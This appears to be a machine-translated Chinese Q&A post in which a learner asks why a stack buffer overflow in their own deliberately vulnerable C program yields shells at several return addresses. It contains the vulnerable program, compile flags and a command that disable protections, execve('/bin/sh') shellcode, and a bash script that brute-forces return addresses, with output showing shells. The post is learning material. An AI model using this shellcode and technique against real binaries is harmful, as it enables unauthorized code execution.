我写了一个简单易受攻击的程序来堆栈溢出攻击:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

void func(char *arg)
{
    char name[32];
    strcpy(name, arg);
    printf("Welcome %s\n", name);
}

int main (int argc, char *argv[])
{
    if (argc != 2)
    {
        printf("Use: %s YOUR_NAME\n", argv[0]);
        return 0;
    }
    func(argv[1]);
    return 0;
}

我编译它:

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack example.c -o example

并禁用ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

我写了一个简单的shellcode:

08048054 <_start>:
 8048054:   eb 1f                   jmp    8048075 <last>

08048056 <first>:
 8048056:   90                      nop
 8048057:   5e                      pop    %esi
 8048058:   89 76 08                mov    %esi,0x8(%esi)
 804805b:   31 c0                   xor    %eax,%eax
 804805d:   88 46 07                mov    %al,0x7(%esi)
 8048060:   89 46 0c                mov    %eax,0xc(%esi)
 8048063:   b0 0b                   mov    $0xb,%al
 8048065:   89 f3                   mov    %esi,%ebx
 8048067:   8d 4e 08                lea    0x8(%esi),%ecx
 804806a:   8d 56 0c                lea    0xc(%esi),%edx
 804806d:   cd 80                   int    $0x80
 804806f:   31 db                   xor    %ebx,%ebx
 8048071:   89 d8                   mov    %ebx,%eax
 8048073:   40                      inc    %eax
 8048074:   cd 80                   int    $0x80

08048076 <last>:
 8048076:   e8 dc ff ff ff          call   8048056 <first>
 804807b:   2f                      das    
 804807c:   62 69 6e                bound  %ebp,0x6e(%ecx)
 804807f:   2f                      das    
 8048080:   73 68                   jae    80480e9 <last+0x74>
    ...

我能够在 gdb 中利用它,我得到了一个shell . 但是我不能在 gdb 之外 . 这是正常的,因为正如在这个SO中所说的回答Buffer overflow works in gdb but not without it gdb 添加了一些环境变量 . 所以,我尝试了在已接受的解决方案(包括脚本)中发布的替代方案,但它对我不起作用 .

所以,我用一个shell脚本来测试 gdb 中计算出的地址附近的地址:

#!/bin/bash

max=255

for i in `seq 219 $max`
do
    for j in `seq 0 $max`
    do
        #hex= printf "%02x" `echo "obase=16; $i" | bc`
        hex=`printf "%02x" $i`
        hex1=`printf "%02x" $j`
        echo "probando direccion: 0xffff$hex$hex1"

        shellcode="\x90\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x$hex1\x$hex\xff\xff"
        ./example `python -c "print '$shellcode'"`
    done
done

我有什么惊喜?我编写的脚本使用不同的地址获取shell

./exploit.sh: línea 7: 14682 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6bf
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14687 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6c0
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6c1
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6c2
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14703 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6c3
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6c4
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14712 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6c5
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14717 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6c6
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14722 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6c7
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14727 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6c8
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14732 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6c9
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14737 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6ca
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14742 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6cb
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14747 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6cc
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14752 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6cd
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14757 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6ce
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14762 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6cf
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6d0
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14771 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6d1
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6d2
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6d3
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6d4
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14788 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6d5
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14793 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6d6
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6d7
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14803 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6d8
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14808 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6d9
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6da
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14817 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6db
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6dc
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14826 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6dd
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6de
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14835 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6df
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6e0
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
$ exit
probando direccion: 0xffffd6e1
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14849 Instrucción ilegal     (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6e2
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14854 Instrucción ilegal     (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6e3
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14859 Instrucción ilegal     (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6e4
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14864 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`
probando direccion: 0xffffd6e5
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
./exploit.sh: línea 7: 14869 Violación de segmento  (`core' generado) ./example `python -c "print '$shellcode'"`

如你所见,在许多不同的地址(即0xffffd6c0,0xffffd6c1,0xffffd6c3,0xffffd6cf,0xffffd6d1等)中,我得到一个shell .

这是什么原因?

地址 0xffffd6c00xffffd6c1 (前两个)和 0xffffd6e0 (我得到shell的最后一个地址)可能有意义,因为我的shellcode中的第一个地址是一个nop而真正的shellcode从start 1开始(这解释了我的前2个shell)得到) . shell使用 0xffffd6e0 地址是有意义的,因为该地址是调用的地址:

8048075:    e8 dc ff ff ff          call   8048056 <first>

但为什么我得到的其他炮弹呢?

另外,如果我使用shell脚本获取shell的地址执行易受攻击的程序,我会获得分段错误

user:~/Documents/exploiting ./example `python -c "print '\x90\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xc0\xd6\xff\xff'"`
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
[1]    21580 segmentation fault (core dumped)  ./example 
user:~/Documents/exploiting ./example `python -c "print '\x90\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xc1\xd6\xff\xff'"`
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
[1]    21584 segmentation fault (core dumped)  ./example 
user:~/Documents/exploiting ./example `python -c "print '\x90\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xe0\xd6\xff\xff'"`
Welcome ��^�1��F�F
                      �
                       ����V
                            1ۉ�@�����/bin/sh����
[1]    21588 segmentation fault (core dumped)  ./example

我在 gdb 中获得了相同的行为,shellcript还修改了程序执行的堆栈地址吗?